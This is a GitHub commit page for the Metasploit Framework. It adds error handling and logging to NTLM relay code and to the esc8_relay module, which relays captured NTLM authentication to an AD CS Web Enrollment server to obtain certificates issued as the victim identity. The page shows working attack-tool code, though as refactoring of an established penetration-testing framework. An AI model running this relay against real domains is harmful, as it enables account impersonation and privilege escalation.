Skip to content

Commit

Permalink
Add some error handling and more logging
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Oct 24, 2024
1 parent e1522ad commit a8c26a3
Show file tree
Hide file tree
Showing 4 changed files with 80 additions and 39 deletions.
10 changes: 6 additions & 4 deletions lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -140,7 +140,7 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
relayed_connection = session.metadata[:relayed_connection]
logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip}")
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
return nil unless relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED

# Store the incoming negotiation message, i.e. ntlm_type1
session.metadata[:incoming_negotiate_message] = ntlm_message
Expand All @@ -159,7 +159,7 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)

is_success = relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
@relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)

if is_success
Expand All @@ -177,8 +177,10 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
@listener.on_relay_failure(relay_connection: relayed_connection)
relayed_connection.disconnect!

if relay_result.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
logger.print_warning("Identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{relayed_connection.target}")
if relay_result.nil? || relay_result.nt_status.nil?
logger.print_error("Identity: #{session.metadata[:identity]} - Relay against target #{relayed_connection.target} failed with unknown error")
elsif relay_result.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
logger.print_warning("Identity: #{session.metadata[:identity]} - Relayed client authentication failed on target server #{relayed_connection.target}")
else
error_code = WindowsError::NTStatus.find_by_retval(relay_result.nt_status.value).first
if error_code.nil?
Expand Down
24 changes: 22 additions & 2 deletions lib/msf/core/exploit/remote/smb/relay/ntlm/target/http/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::HTTP
class Client
extend Forwardable

def_delegators :@client, :send_recv, :request_cgi, :request_raw
def_delegators :@client, :request_cgi, :request_raw

attr_accessor :timeout
attr_reader :target
Expand Down Expand Up @@ -48,8 +48,23 @@ def relay_ntlmssp_type1(client_type1_msg)
'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type1_msg)
}
)

res = @client.send_recv(req, @timeout, true)
# todo: handle errors here

if res.nil?
msg = "Unable to retrieve server challenge from #{target} (no HTTP response received)"
elog(msg)
logger.print_error msg
return nil
end

unless res.code == 401
msg = "Unable to retrieve server challenge from #{target} (HTTP status #{res.code} received)"
elog(msg)
logger.print_error msg
return nil
end

Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
message: Net::NTLM::Message.decode64(res.headers['WWW-Authenticate'].split[1]),
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
Expand Down Expand Up @@ -77,6 +92,11 @@ def relay_ntlmssp_type3(client_type3_msg)
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
end

def send_recv(req, t = -1, persist = true)
# enable persistence by default to keep the connection open
@client.send_recv(req, t, persist)
end

protected

attr_reader :logger
Expand Down
2 changes: 0 additions & 2 deletions lib/msf/core/exploit/remote/smb/server/hash_capture.rb
Original file line number Diff line number Diff line change
Expand Up @@ -55,14 +55,12 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)

combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"

combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
end

return if hash_type.nil?
Expand Down
83 changes: 52 additions & 31 deletions modules/auxiliary/server/capture/esc8_relay.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@

class MetasploitModule < Msf::Auxiliary
include ::Msf::Exploit::Remote::SMB::RelayServer
include ::Msf::Exploit::Remote::HttpClient

def initialize
super({
Expand All @@ -29,7 +30,7 @@ def initialize
[
OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]),
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
OptString.new('CERT_URI', [ true, 'The URI for the cert server.', '/certsrv/' ])
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
]
)

Expand All @@ -39,27 +40,59 @@ def initialize
]
)

deregister_options(
'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
)
deregister_options('RHOSTS')
end

def relay_targets
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
:http,
80,
(datastore['SSL'] ? :https : :http),
datastore['RPORT'],
datastore['RELAY_TARGETS'],
'/certsrv/', # TODO: this needs to be pulled from the datastore
datastore['TARGETURI'],
randomize_targets: datastore['RANDOMIZE_TARGETS']
)
end

def run
def initial_handshake?
res = send_request_raw(
{
'rhost' => datastore['RELAY_TARGET'],
'method' => 'GET',
'uri' => normalize_uri(target_uri),
'headers' => {
'Accept-Encoding' => 'identity'
}
}
)
disconnect

res&.code == 401
end

def check_options
if datastore['RHOSTS'].present?
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
end

case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
fail_with(Failure::BadConfig, 'CERT_TEMPLATE must be set in AUTO and SPECIFIC_TEMPLATE mode')
end
when 'ALL', 'AUTO', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.')
end
end
end

def run
check_options
@issued_certs = {}
unless initial_handshake?
fail_with(Failure::UnexpectedReply, "#{datastore['RELAY_TARGET']} does not appear to have Web Enrollment enabled on #{target_uri}")
end

start_service
print_status('Server started.')

Expand Down Expand Up @@ -102,13 +135,13 @@ def create_csr(private_key, cert_template)

def get_cert_templates(relay_connection)
print_status('Retrieving available template list, this may take a few minutes')
req = relay_connection.request_raw(
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'GET',
'uri' => normalize_uri(datastore['CERT_URI'], 'certrqxt.asp')
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
}
)
res = relay_connection.send_recv(req, relay_connection.timeout, true)
return nil unless res&.code == 200

cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
Expand Down Expand Up @@ -145,10 +178,11 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
request = create_csr(private_key, cert_template)
cert_template_string = "CertificateTemplate:#{cert_template}"
vprint_status('Requesting relay target generate certificate...')
req = relay_connection.request_cgi(
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'POST',
'uri' => normalize_uri(datastore['CERT_URI'], 'certfnsh.asp'),
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'Mode' => 'newreq',
Expand All @@ -157,10 +191,10 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
'TargetStoreFlags' => 0,
'SaveCert' => 'yes',
'ThumbPrint' => ''
}
},
'cgi' => true
}
)
res = relay_connection.send_recv(req, relay_connection.timeout, true)
if res&.code == 200 && !res.body.include?('request was denied')
print_good("Certificate generated using template #{cert_template} and #{relay_identity}")
add_cert_entry(relay_identity, cert_template)
Expand All @@ -170,15 +204,15 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
end

location_tag = res.body.match(/^.*location="(.*)"/)[1]
location_uri = normalize_uri(datastore['CERT_URI'], location_tag)
location_uri = normalize_uri(target_uri, location_tag)
vprint_status("Attempting to download the certificate from #{location_uri}")
req = relay_connection.request_cgi(
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'GET',
'uri' => location_uri
}
)
res = relay_connection.send_recv(req, relay_connection.timeout, true)
info = "#{relay_identity} Certificate"
certificate = OpenSSL::X509::Certificate.new(res.body)
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
Expand All @@ -191,17 +225,4 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
print_good("Certificate for #{relay_identity} using template #{cert_template} saved to #{stored_path}")
certificate
end

def normalize_uri(*strs)
new_str = strs * '/'

new_str = new_str.gsub!('//', '/') while new_str.index('//')

# Makes sure there's a starting slash
unless new_str[0, 1] == '/'
new_str = '/' + new_str
end

new_str
end
end

0 comments on commit a8c26a3

Please sign in to comment.